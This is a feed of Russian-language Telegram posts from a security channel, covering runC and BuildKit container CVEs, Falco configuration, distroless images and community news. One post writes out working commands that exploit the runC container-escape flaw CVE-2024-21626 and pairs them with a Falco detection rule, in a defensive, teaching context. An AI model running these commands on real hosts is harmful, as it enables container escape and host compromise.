Blue (h/c)at Café
3.25K subscribers
403 photos
9 videos
4 files
146 links
Здесь живут истории о безопасности — искренние, местами хаотичные, с оттенком усталости и самоиронии, но всегда честные и технически точные. Юмор слегка непостижимый, а котики появляются по мере критической необходимости. Без них никак.
Download Telegram
🖼️ Container security или почему нужно следить не только за уязвимостями в коде

Немного отвлекусь от повседневности и хочу рассказать про то, как нам важно иметь безопасные контейнеры. Начну с того, что Вам и так известно, недавно был найден скоуп уязвимостей Docker и runC.

Для начала что это за уязвимости:

🟡 CVE-2024–21626 (CVSSv3: 8.6) — Проблема в runC, связанная с process.cwd и утечкой дескрипторов файлов.
🟡 CVE-2024–23651 (CVSSv3: 8.7) — Состояние гонки во время сборки, приводящее к выходу контейнера из строя в BuildKit.
🟡 CVE-2024–23652 (CVSSv3: 10.0) — Произвольное удаление при разрушении контейнера во время сборки BuildKit.
🟡 CVE-2024–23653 (CVSSv3: 9.8) — Проблема проверки привилегий GRPC SecurityMode в BuildKit, приводящая к выходу контейнера из строя во время сборки.

При подготовке поста мне очень понравилось читать исследование про CVE-2024–21626, прошу всех с ним ознакомиться - ТЫК

Могу сделать отдельный перевод в teletype 🚶‍♀️


CVE-2024-21626, в частности, привлекла внимание к уязвимостям в runC, ключевом компоненте различных систем управления контейнерами с открытым исходным кодом. Эта уязвимость, а также ее аналоги в BuildKit подчеркивают проблемы, связанные с обеспечением безопасности контейнеров и всей современной микросервисной инфраструктуре.

🤨Да кто этот ваш такой RunC?

RunC - это стандартное время выполнения контейнеров. Это базовая технология, используемая в Docker и других платформах для запуска контейнеров. По сути, runC отвечает за порождение и запуск контейнеров в соответствии со спецификацией Open Container Initiative (OCI). Для этого он предоставляет интерфейс командной строки для управления жизненным циклом контейнеров.

Суть CVE-2024-21626 заключается в утечке дескриптора файла в пакете runC. Эта проблема возникает во время выполнения контейнерного кода. Хотя пользователи обычно устанавливают закрытие дескрипторов файлов при выполнении (O_CLOEXEC) для предотвращения утечки, уязвимость существует в том, как runC обрабатывает системный вызов setcwd(2). Сложно, непонятно, но вот ссылки на видосы исполнения от Snyk ТЫК и на гите ТЫК

⌨️ Как ломать (Для RedTeam)

Эксплойт через запуск контейнера
Нет необходимости создавать собственный образ, просто запустите контейнер с параметром -w:
docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm


Эксплоит через выполнение в запущенном контейнере:
~/container/runc/runc --version
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
~/container/runc/runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
sudo ~/container/runc/runc --log ./log.json run demo


🛡 Как обнаружить (Для BlueTeam)
Эксплойты имеют следующие особенности:
Контейнер запускает процесс execve(2) со специальным рабочим каталогом, который начинается с /proc/self/fd/.
Контейнер создает символические ссылки через symlink(2) или symlinkat(2) со специальной ссылкой на целевой каталог, который начинается с /proc/self/fd/.
Контейнер будет открывать файлы с помощью open(2), openat(2) или openat2(2) с именами типа /proc/\d+/cwd/.*.

Правило для Falco — про него выйдет отдельный пост
- macro: container
condition: (container.id != host and container.name exists)

- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
desc: >
Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
condition: >
container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
priority: CRITICAL


Это первая часть поста, телега не позволяет дать больше информации. Вторая часть выйдет завтра, в 15:00
Всех ждем на продолжение на уязвимости CVE-2024–23651, CVE-2024–23652, CVE-2024–23653 🤗
Please open Telegram to view this post
VIEW IN TELEGRAM
123🤔21
17😁103🤔1
🖼️ Container security или почему нужно следить не только за уязвимостями в коде (Часть 2)

Да, как и обещал, ловите продолжение.

Немного про BuildKit и зачем он нужен

Docker BuildKit - это усовершенствованный механизм сборки, предназначенный для образов Docker. Он позволяет эффективно кэшировать команды Dockerfile, параллельно выполнять шаги сборки и изолировать контексты сборки. BuildKit имеет собственное промежуточное представление LLB. И там, где LLVM IR имеет такие вещи, как вызовы функций и стратегии сборки мусора, LLB имеет монтируемые файловые системы и выполнение операторов.

Что за LLVM IR и LLB ? Ты совсем уже крышей поехал?

Нет, хотяяя...

LLVM IR (Intermediate Representation) - это абстрактное представление программы, которое используется в LLVM(Low Level Virtual Machine). Оно независимо от платформы и архитектуры, содержит инструкции, операции и типы данных, и может быть легко оптимизирован и анализирован компилятором LLVM.

LLB (Low Level Backend) - это часть LLVM, которая представляет собой набор инструкций и операций для представления кода на низком уровне. Он служит как промежуточное представление, которое может быть преобразовано в машинный код для разных архитектур. LLB определяется как буфер протокола, а это означает, что внешние интерфейсы BuildKit могут делать GRPC запросы к buildkitd для непосредственного создания контейнера.

Для лучшего понимания или кто хочет с картинками ТЫК

⚠️ Так что там с остальными уязвимостями ?

🟡 CVE-2024-23651 — Cache Mounts Race Condition: Эта уязвимость возникает из-за состояния гонки, вызванного общим монтированием кэша. Когда два этапа сборки выполняются параллельно и совместно используют монтирование кэша, существует вероятность того, что файлы из хост-системы станут доступны контейнеру сборки. Эта уязвимость может быть использована, если пользователь попытается собрать Dockerfile из вредоносного проекта.

🟡 CVE-2024-23652 — Malicious BuildKit Frontend/Filesystem Tampering: Эта проблема связана с тем, что вредоносный фронтенд BuildKit или Dockerfile использует RUN --mount для обмана функции удаления точек монтирования. Это может привести к удалению файлов за пределами контейнера из хост-системы, что представляет значительный риск для целостности хост-окружения.

🟡 CVE-2024-23653 — Elevated Privilege Exploitation: Эта уязвимость позволяет использовать API BuildKit для запуска контейнеров с повышенными привилегиями в обход обычных проверок безопасности. Эта проблема может быть использована, если не включены специальные права безопасности.

Как избежать всех этих уязвимостей?

Опять же, все те же ребята из snyk выпустили 2 скрипта для проверок (динамическая и статическая)

🛡 Давайте, поговорим про статический инструмент
bash 
git clone https://github.com/snyk/leaky-vessels-static-detector.git
cd leaky-vessels-static-detector
go build #Если вам нужен исполняемый файл
go run main.go <команда> <аргумент>

📕 Команды
dockerfile - запустить анализ Dockerfile.
-f [DOCKERFILE_PATH] - путь к Dockerfile.
--base - включить анализ базового образа.

image - запустить анализ образа.
--name [IMAGE_NAME] - имя образа.

Общие аргументы:
--env [ENV_FILE_PATH] - путь к .env-файлу, используемому для хранения. 
--disable [RULES_LIST] - список идентификаторов правил, которые нужно отключить, разделенный запятыми.
--debug - включить отладочные журналы.


Dockerfile — ТЫК

⚙️ Лучшие практики по устранению последствий

🔘 Использовать только проверенные образы Docker и избегать сборки из ненадежных источников.
🔘 Бдительно следить за источниками фронтендов BuildKit и содержимым Docker-файлов.
🔘 Оперативно отслеживать и обновлять среды Docker, чтобы включить в них последние исправления безопасности.

✏️ Эпилог
Мне хотелось бы ещё раз поблагодарить Владимира Капистку за создание такого инструмента как Public OCI-Image Security Checker — 💻 ТЫК, а также попросить добавить в этот инструмент проверку на данный тип уязвимостей. Надеюсь, ему передадут моё сообщение.

Спасибо за внимание, скоро свидимся ❤️

#devsecops
Please open Telegram to view this post
VIEW IN TELEGRAM
1132🤔1
💻 Falco и то как его правильно настроить (Часть 1)

Как и писал в прошлом цикле постов, нужно сделать статью про 💻 Falco. Что это за зверь такой? Страшное создание на C++ для Kubernetes, а точнее для его безопасности. Сам скептически был к нему настроен, но после тестов и реализации - изменил своё мнение. Но важно отметить, что вместо того, чтобы просто следить за нарушителями, он может обнаруживать и предотвращать всевозможные угрозы безопасности в режиме реального времени.

📌

Однако, его нельзя называть универсальным инструментом для защиты, он не сможет предотвратить все угрозы.

Давай те начнем с того, как это устанавливать и пользоваться. Потому что их документация слишком нагроможденная и сложная для новичков.

How to install для тестовых целей (для обучения)

При установке Falco можно выбрать несколько вариантов в зависимости от среды, в которой мы работаем. В посте будет продемонстрирован DaemonSet. Это гарантирует, что он будет развернут на всех узлах нашего кластера Kubernetes.

Один из самых простых способов установки Falco в Kubernetes - это использование Helm. Благо сообщество Falco предоставляет официальную таблицу Helm для установки и настройки.

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
helm install falco --set tty=true falcosecurity/falco --namespace falco --create-namespace


`--set tty=true` для предотвращении буферизации журналов Falco. Или же по простому При включении этой опции оповещения будут немедленно отображаться в журнале, как только они сработают.


Проверить установку можно через kubectl

kubectl get pods -n falco -o wide


🛡 Добавляем плагин для работы с Kubernetes

Встроенный плагин Falco k8saudit управляет источниками событий и возможностями извлечения полей в системе плагинов Falco.

Чтобы установить плагин, нам нужно изменить процесс установки Helm и задать ему дополнительные параметры. Для начала мы должны удалить Falco с помощью следующей команды. Это позволит нам переустановить Falco с необходимыми параметрами для включения плагина с нужной конфигурацией с помощью пользовательского файла falco.yaml.

helm uninstall falco --namespace falco


Этот файл содержит настройки Falco, которые вы хотите переопределить во время установки. Этого можно добиться, передав файл в качестве аргумента в процессе установки Falco в Helm.

Пользовательский файл falco.yaml, который мы будем использовать, можно найти в репозитории Falco на Github. Этот yaml-файл содержит определение k8saudit в разделе плагинов, как показано ниже.
  plugins:
- name: k8saudit
library_path: libk8saudit.so
init_config:
""
open_params: "http://:9765/k8s-audit"
- name: json
library_path: libjson.so
init_config: ""
load_plugins: [k8saudit, json]

Чтобы переустановить Falco с помощью этого yaml-файла, сохраните yaml из репозитория GitHub под именем values-syscall-k8saudit.yaml и выполните следующую команду.

helm install falco falcosecurity/falco --namespace falco -f ./values-syscall-k8saudit.yaml --create-namespace


Теперь перейдем к конфигурации. Чтобы журналы аудита Kubernetes могли отправляться в Falco, нам нужно перенастроить сервер API Kubernetes на пересылку событий аудита. Применяя политику аудита, вы можете выборочно фильтровать и записывать только те события, которые представляют интерес. Чтобы сделать безопасность приоритетной, мы создадим политику, направленную на запросы, связанные с подсистемами, kube-proxy, секретами, конфигурациями и другими важными компонентами. Ниже приведена политика, которую мы будем использовать.

Сохраните содержимое YAML в файл с именем policy.yaml в каталоге /etc/kubernetes/audit/. Позже на этот файл будут ссылаться в конфигурации сервера API.

Это первая часть объемной работы с данным инструментом. Да, приходится их делить, ведь у тг всего 4096 символов разрешено. Печатать в телетайп и подобных платформах, не моё. Habr стал платформой, на которой тебе пишут "не соответствует тематике платформы" или "не нашел ничего нового для себя" при любой теме статьи. 🥺

#devsecops
Please open Telegram to view this post
VIEW IN TELEGRAM
93🤔2
3🤔2
😁66🤔1
🖼️ Distroless Контейнеры или минимализм ради безопасности и эффективности

В эпоху, когда любой проект зависит от модулей (да-да, log4j тому яркий пример), концепция distroless контейнеров от Google выступает как маяк безопасности. Эти контейнеры, лишенные балласта в виде стандартных инструментов и библиотек операционных систем, представляют собой идеальное сочетание минимализма и функциональности. Но что делает их такими особенными, и почему они становятся неотъемлемой частью современной разработки и кибербезопасности?

🤨 Что это такое

Distroless контейнеры — это как "рюкзаки" для вашего приложения, в которые вы кладете только самое необходимое для путешествия. Если обычный контейнер — это рюкзак, в который вы упаковали не только теплую куртку, но и кучу вещей "на всякий случай", которые в итоге только занимают место и утяжеляют ваш багаж, то distroless контейнер очень легкий и содержит только то, что действительно нужно вашему приложению для работы.

🤨 Как это работает

Ключ к созданию distroless контейнера лежит в использовании минимального базового образа, который включает в себя только необходимые библиотеки и зависимости для запуска конкретного приложения. Google предоставляет несколько таких базовых образов через свой проект google/distroless на 💻 GitHub, которые поддерживают языки программирования, такие как Java, Python (применяется в проекте), Go (применяется в проекте), Node.js и другие.

Спасибо @szybnev за рекомендацию

🤨 Что в них такого особенного

🔵 Углубленная Безопасность

Отсутствие shell и лишних утилит сокращает векторы атак, затрудняя эксплуатацию уязвимостей злоумышленниками.

🔵 Эффективность и Производительность

Минимализм distroless контейнеров ведет к уменьшению их размера, что обеспечивает более быструю доставку и развертывание приложений. Да, не такой уж и важный фактор в домашних условиях, но для микросервисной архитектуры это очень хороший способ уйти от 40-минутного развёртывания одного проекта 🥺.

🤨 За пределами очевидного

🔵 Статическая связь как искусство — Distroless контейнеры идеально подходят для статически слинкованных приложений, где все необходимые библиотеки включены непосредственно в исполняемый файл.

🔵 Упрощение CI/CD — Включение в процессы непрерывной интеграции и доставки становится более стройной и эффективной, благодаря сокращению времени сборки и развертывания, что способствует более быстрому циклу разработки.

Разберём на примере 💻 Gitlab CI/CD и 💻 Kubernetes

FROM golang:1.21.4 AS build

WORKDIR /src
COPY . .
RUN CGO_ENABLED=0 go build -o /bin/app

FROM gcr.io/distroless/base-debian10
COPY --from=build /bin/app /

CMD ["/app"]

Пример использования в gitlab-ci.yml

stages:
- build
- deploy

variables:
# Указываем ваш registry
DOCKER_IMAGE_NAME: $CI_REGISTRY

build:
stage: build
image: docker:19.03.12
services:
- docker:19.03.12-dind
script:
- docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
- docker build -t $DOCKER_IMAGE_NAME:$CI_COMMIT_SHA .
- docker push $DOCKER_IMAGE_NAME:$CI_COMMIT_SHA

deploy:
stage: deploy
image: alpine:latest
script:
- apk add --no-cache kubectl
- kubectl config set-cluster default --server=$KUBE_SERVER --certificate-authority=/etc/deploy/ca.pem
- kubectl config set-credentials default --token=$KUBE_TOKEN
- kubectl config set-context default --cluster=default --user=default
- kubectl config use-context default
# Указываем использование нашего Distroless контейнера
- kubectl set image deployment/my-deployment my-container=$DOCKER_IMAGE_NAME:$CI_COMMIT_SHA --namespace=my-namespace
only:
- main


😜 Заключение

Distroless контейнеры от Google предлагают уникальный подход к развертыванию приложений, где безопасность и эффективность идут рука об руку с минимализмом и функциональностью. Эта технология открывает новые горизонты для разработчиков, стремящихся к созданию легковесных, безопасных и высокопроизводительных приложений.

#devsecops
Please open Telegram to view this post
VIEW IN TELEGRAM
13🤔1
😁202🤔1
❤️ 1000, но далеко не мелочей

Ещё полгода назад у меня появилась идея начать делиться знаниями и интересностями, создав телеграмм канал. Но я даже представить не мог, насколько быстро это всё случится, я в это не верю 👀. Видимо, я прохожу стадии принятия того, что это всё здесь и сейчас. Правда, я даже не знаю что писать, и как это отметить, ведь думал, что это ещё не скоро случится, и у меня есть куда больше времени. Как же я ошибался...

🤨 Что будет дальше

Дальше будет только лучше...

😶🐱🐱

Хах, считаю, этот ответ полностью опишет планы на канал и контент. В этом году я планирую начать освещать многие проблемы рынка и интересные проекты на различных мероприятиях (phd2, offzone или куда пригласят, я, конечно, не напрашиваюсь, но очень хотелось бы везде побывать🤗).


✏️ Слова от тех, кто был с Вами на протяжении жизни канала


🥂

Когда публика растет практически экспоненциально, значит, команда делает все правильно. Отрадно это видеть, так что поздравляю и Вас, работяги, и участников команды. Праздник сегодня общий🕺

4rchi



🦋

Спасибо тем, кто к нам присоединился, и тем, кто с нами был раньше. Для нашего канала это очень значимое событие, мы будем стараться над новым контентом и развивать канал!

devcrys



☕️

Безумно рад, что такое количество людей и правда интересуется всем, что происходит на этом канале.
Будем продолжать радовать вас интересным и полезным контентом и повышать качество работ.
Спасибо что вы есть, ведь этот юбилей значит, что всё не зря.

Редактор - подметаю пыль между строчек в статье



Спасибо Вам за наше хорошее настроение в этот день. ❤️❤️


P.S. На следующей неделе стартует конкурс на интересные призы, не пропустите 🤗

#бредниавтора
Please open Telegram to view this post
VIEW IN TELEGRAM
18
💻 Falco и то как его правильно настроить (Часть 2)

Продолжаем тему защиты кубика. Не люблю так оставлять недоделанные посты, но бывает (я помню про вторую часть SBOM-ов, не нужно меня пинать 😬).

На чем мы там остановились? Точно! На конфигурации сервера API.

Как показано ниже, нам нужно создать конфигурационный файл webhook для передачи событий аудита на веб-сервер Falco. На этот файл будет сделана ссылка в конфигурации сервера API. Обязательно замените IP-адрес на кластерный IP-адрес службы Falco в вашей конфигурации. Вы можете получить этот IP-адрес, выполнив команду kubectl get svc -n falco.

apiVersion: v1
kind: Config
clusters:
- name: falco
cluster:
server: http://10.110.100.245:9765/k8s-audit
contexts:
- context:
cluster: falco
user: ""
name: default-context
current-context: default-context
preferences: {}
users: []


Последние шаги включают в себя добавление следующих аргументов в конфигурацию сервера API. Поскольку API-сервер представляет собой pod, нам также нужно смонтировать папку аудита внутри pod-а.

yaml 
- --audit-policy-file=/etc/kubernetes/audit/policy.yaml
- --audit-webhook-config-file=/etc/kubernetes/audit/webhook.yaml
- --audit-log-format=json
volumeMounts:
- mountPath: /etc/kubernetes/audit
name: audit
volumes:
- hostPath:
path: /etc/kubernetes/audit
type: DirectoryOrCreate
name: audit


⚙️ Добавление правил Falco для Kubernetes

Переходим к самому интересному и важному - к кастомным правилам и как с ними работать.

Каждое правило Falco описывается в YAML-формате и включает в себя несколько ключевых компонентов:

- rule: Имя правила.
- desc: Описание того, что делает правило.
- condition: Условие, при котором срабатывает правило. Это выражение, которое обычно анализирует системные вызовы и их аргументы.
- output: Сообщение, которое будет выведено, когда правило сработает. Может включать переменные из условия.
- priority: Уровень важности (INFO, WARNING, ERROR).

Чтобы Falco использовал кастомные правила, вам нужно указать путь к файлу правил в конфигурационном файле Falco (falco.yaml) или передать его напрямую при запуске Falco через аргумент командной строки.

🔵 Изменение конфигурационного файла

Откройте falco.yaml и найдите раздел rules_file. Добавьте путь к вашему файлу с кастомными правилами:

rules_file:   - /etc/falco/falco_rules.yaml   - /etc/falco/falco_rules.local.yaml   - /etc/falco/custom_rules.yaml  # Путь к вашему файлу с кастомными правилами


🔵 Использование аргумента командной строки:

Вы также можете указать файл правил напрямую при запуске Falco, используя аргумент командной строки -r:

falco -r /path/to/your/custom_rules.yaml


Не забудьте перезапустить Falco после добавления правил 😜

Falco, безусловно, является неотъемлемым инструментом в арсенале специалиста по безопасности, предоставляя глубокие возможности для наблюдения и анализа контейнеров.

#devsecops
Please open Telegram to view this post
VIEW IN TELEGRAM
5🤔1
😁28🤔1
😁9🤔1
🎁 Праздник и подарки 🎁

Недавно Нас стало более 1000 человек. И вот, нам захотелось чем-то порадовать себя и Вас. Устроим конкурс!!!

Есть 3 темы, в каждой из которых будет свой победитель. Предвещаю вопросы и прочее — да, конкурс максимально субъективный, будем судить Я, мемолог и наша команда. Всё отправлять в комментарии под данный пост!

⭐️ Темы

1. Фраза, с которой ассоциируется канал — оценивает ЖБ'

Она попадет в описание канала и будет его украшением

2. Самое мемное, что с вами было за вашу практику — оценивает 4rchi

3. Самый милый питомец подписчика — оценивает Вся команда

Допускаются не только Ваши питомцы, но и уличные. Главное правило, что Вы их фоткали и умилялись. Конечно, мы попросим доказательств этой милоты, но надеемся на Вашу честность 🤗

Также, я предусмотрел вариант, если победитель окажется заграницей. В таком случае, у Вас будет выбор за 💎 TON и Годовой подпиской на ⭐️ Телеграм премиум для Вас и Вашего друга. Все остальные подарки пока секрет, но они не разочаруют.

Вы оба должны быть подписаны на канал

Бустик на котиков и хорошие реакции на посты — 👀 ТЫК

Конкурс проводится до 7-ого марта. Всем удачи и спасибо, что Вы с нами ❤️❤️

#конкурс
Please open Telegram to view this post
VIEW IN TELEGRAM
832🤔1
Есть два стула и оба с мониторингом связаны
#meme
😁15🤔1
✏️ Для тех, кто только начинает свой путь

Много ребят, которые только решили для себя пойти по стопам инф беза, задаются одним вопросом - "С чего начать?". Вопрос правильный и почти всегда приводит к законному ответу - "Иди на площадки обучайся". Вот про них сегодня и поговорим.

🤨С чего всё началось

Начну со своей истории. Мне 17 лет и я очень хочу покорить мир пентеста или, как тогда модно было — этичного хакера. Но что у нас на тот момент было? Hack the box.... и всё. И тот со своими приколами - взломай, чтобы поиграть. И вот так начался мой путь.

😜Что есть сейчас

Всё есть. На этом можно было и закончить этот тезис, но нет. Платформ сейчас действительно много и каждая со своими отличительными качествами. Как же выбрать? С этим нам поможет исследование одного из моих знакомых (да-да, Ваш покорный кот🤗 тоже в нем поучаствовал).

🌐 Обзор платформ для практического обучения: направления Offensive и Defensive

Я благодарен автору, что он смог собрать информацию и про каждую из платформ рассказать. Так что если Вы только начинаете свой путь - рекомендую к ознакомлению.

Даже среди моих знакомых нашлись ребята, которым очень пригодилось

#бредниавтора
Please open Telegram to view this post
VIEW IN TELEGRAM
12🤔22
9🤔4
❤️ Пришла весна, а с ней и перемены ❤️

Как вы уже увидели, произошла смена логотипа канала. Именно от него я буду отталкиваться в своих презентациях и выступлениях. Кот, который был до этого, был продуктом генерации ИИ. Это делало канал не полностью человеческим. А сейчас пора сказать: "Это не просто проект, а уже часть меня". Именно поэтому пришло время перейти на новый стиль, ведь скоро PHD2 и куча других мероприятий, где мне хотелось бы выступить. Из основного больше ничего не изменяется, кроме описания. Подача, юмор и технический материал будут оставаться на той высоте, которую мы задали полгода назад.

🎁 Конкурс продолжается: Не бойтесь участвовать, у вас есть все шансы на победу!

Спасибо, что остаётесь с нами. ❤️

#бредниавтора
Please open Telegram to view this post
VIEW IN TELEGRAM
1265
😁129🤔1
Forwarded from Похек (Сергей Зыбнев)
🎁 Dev(Sec)Ops RoadMap как найти работу
#карьера #devsecops

В чате канала вчера спрашивали про roadmap для DevSecOps. Что нужно учить?

Пункт 1. Я считаю правильным ответом на данный вопрос всегда являлся и будет являться ответ: зайди на сайт с вакансиями, найди выбранную должность и прочитай 20-30 вакансий, выпиши повторяющиеся термины и изучи что это. Это применимо к любой стране и к любой должности, если вы конечно не выбираете учить то, чего ещё нет на рынке. В таком случае откуда вы об этом узнали, оттуда начинайте поиск информации о необходимых навыках.

Но мы же люди ленивые? Лично я, да. Все всегда хочется искать что-то самостоятельно, а найти готовый roadmap или mindmap, где за вас умные люди составили график, что вам нужно учить. В таком случае нашёл для Вас несколько интересных материалов:

А Вы точно уверены, что перед тем как стать DevSecOps, вы изучили инструменты DevOps и научились применять эти практики?


▶️ Если нет, то возвращаемся к пункту 1, за красной таблеткой. Если же вы выбурили синюю таблетку, то вот мой ответ на вопрос: "Что нужно знать DevOps инженеру?"
Управления версиями: Gitlab
Инструменты CI/CD: Jenkins, Gitlab, (набирает популярность Agro CD)
Оркестрация контейнеров: kubernetes, docker-compose (более редко необходим Docker Sward, OpenShift)
Автоматизация развертывания: Ansible, Terraform
Языки программирования: Python, Bash
Хранение секретов: Vault
Мониторинг: Prometheus, Grafana [ Zabbix пора отправить на покой ]
Логгирование: ELK

Если слова выше для вас не показались чем-то незнакомым или как говорит мой друг, "на эльфийском языке", то поздравляю, Вы DevOps инженер :)

▶️ Возвращаясь к теме поста, что нужно учить DevSecOps? Всё то, что знает DevOps и:
Поиск секретов: GitGuardian, Gitleaks, truffleHog, DeepSecrets (последнее от моего знакомого Михаила из Avito Tech, у его инструмента не стандартный подход к поиску секретов)
SCA: Snyk, Syft, Cdxgen, Trivy, Dependency Track
SAST: Semgrep (много фолзит, использовать только вкупе с чем-то), Bearer, CodeQL, Spotbug, Terrascan
DAST: OWASP ZAP, nuclei, Dastardly
Container Security: Grype, Open Policy Agent, kube-hunter (активно не поддерживается), kube-bench , Falco, Tracee, Anchore (активно не поддерживается), Clair

⭐️ Как-то так. На самом деле список тулз у DevSecOps постоянно пополняются. И тем более приходится писать что-то под свои задачи. Надеюсь было полезно. Но DevSecOps
Также отдельное спасибо @belka_e


Отмечу, что сейчас сам занимаюсь разработкой и по сути у меня нет коммерческого опыта ни в разработке, ни в DevSecOps. Так что узнаю всё по ходу выкладывания постов. Но большое спасибо коллегам, кто готов помогать мне!

Выводы:
1. У нас очень мало DAST'ов опенсоурсных, да и коммерческих качественных рабочих решений тоже мало.
2. Простор для разработки коммерческих решений огромен, как и потенциал этой области.
3. DevOps не очень сложно обучиться, а вот DevSecOps уже даёт прикурить знатно, проверено на себе.
4. Методологии и инструменты DevSecOps мало где применяются, так что рынок ждёт новых решений и подходов.
5. Когда я слышал про заоблачные ЗП devsecops инженеров, думал что ситуация как с MLщиками и Data Science в своё время, но нет. Тут реально огромный пул знаний, который включает в себя ещё по меньшей мере appsec и даже пентест.

❤️ @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
6🤔21
❤️ Подведение итогов конкурса ❤️

Друзья, вот и подошел к завершению наш увлекательный конкурс, в котором мы отмечали рост нашего сообщества до более чем 1000 человек! Благодарим каждого из вас за участие и за то, что разделили с нами свои мемы и, конечно, фотографии ваших очаровательных питомцев.

Но, как и обещали, Мы подходим к самому интересному моменту — объявлению победителей!

🌟 В категории "Фраза, с которой ассоциируется канал", победителем становится Никто ! Нет участников — нет проблем с определением )

🌟 В категории "Самое мемное, что с вами было", победил Draiko ! Ваше приключение вызвало настоящий взрыв смеха и доказало, что у наших подписчиков отличное чувство юмора.

🌟 И, наконец, в категории "Самый милый питомец подписчика", победителем становится @shdwpwn! Фотография вашего питомца не только растрогала нас, но и мгновенно стала фаворитом среди близких людей.

🎉 Поздравляем победителей! 🎉

Со всеми победителями спишусь в ближайшее время 👀

Со всеми, кто прислал своих питомцев тоже спишусь. Зачем? Я никогда ничего не выигрывал по случаю или из-за особых заслуг. Вот я и решил, что все достойны получить приз, хоть и не большой. Магнитик с котиком будет ждать Вас СДЭКом или могу лично приехать и передать, а также денюжку на лакомство для ваших питомцев (лично с каждым обсудим)

Спасибо, что Вы с нами, за то, что делаете наше сообщество таким живым и вдохновляющим. До новых встреч в наших будущих постах! ❤️❤️

#конкурс
Please open Telegram to view this post
VIEW IN TELEGRAM
134🤔21